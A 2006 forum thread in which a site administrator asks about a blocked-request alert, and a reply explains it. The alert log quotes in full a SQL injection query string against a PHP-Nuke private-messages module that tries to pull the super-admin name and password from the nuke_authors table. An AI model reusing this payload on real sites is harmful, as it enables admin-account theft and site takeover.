Blocked for abuse

Posted: Mon Aug 07, 2006 8:40 am

I just got this email and other than that Sentinel blocked this user I don't understand any of it. What was he trying to do? Was he trying to access the God Admin account? Is this a legitimate block? Is this user really in Amsterdam? Using a Proxy? Help can someone explain this to me?

Code:




Date &amp; Time: 2006-08-07 01:16:23 EDT GMT -0400


Blocked IP: 88.191.33.169


User ID: ChuckNorris123 (160)


Reason: Abuse-Union


--------------------


User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.2


Query String: clanfga.com/modules.php?name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM nuke_authors WHERE radminsuper=1 LIMIT 1


Get String: clanfga.com/modules.php?name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM nuke_authors WHERE radminsuper=1 LIMIT 1


Post String: clanfga.com/modules.php


Forwarded For: none


Client IP: none


Remote Address: 88.191.33.169


Remote Port: 45181


Request Method: GET


--------------------


Who-Is for IP


88.191.33.169  


          


            








OrgName:    RIPE Network Coordination Centre 


OrgID:      RIPE


Address:    P.O. Box 10096


City:       Amsterdam


StateProv:  


PostalCode: 1001EB


Country:    NL





ReferralServer: whois://whois.ripe.net:43





NetRange:   88.0.0.0 - 88.255.255.255 


CIDR:       88.0.0.0/8 


NetName:    88-RIPE


NetHandle:  NET-88-0-0-0-1


Parent:    


NetType:    Allocated to RIPE NCC


NameServer: NS-PRI.RIPE.NET


NameServer: NS3.NIC.FR


NameServer: SEC1.APNIC.NET


NameServer: SEC3.APNIC.NET


NameServer: SUNIC.SUNET.SE


NameServer: TINNIE.ARIN.NET


NameServer: NS.LACNIC.NET


Comment:    These addresses have been further assigned to users in


Comment:    the RIPE NCC region. Contact information can be found in


Comment:    the RIPE database at http://www.ripe.net/whois


RegDate:    2004-04-01


Updated:    2004-04-06

Posted: Mon Aug 07, 2006 9:30 am

Looked like they were trying a uni0n attack on the site.

This is good.
Looks like an attempt to get the admin username and password.

They could use this to access the admin panel without any problems and I'm sure you know what can be done in there.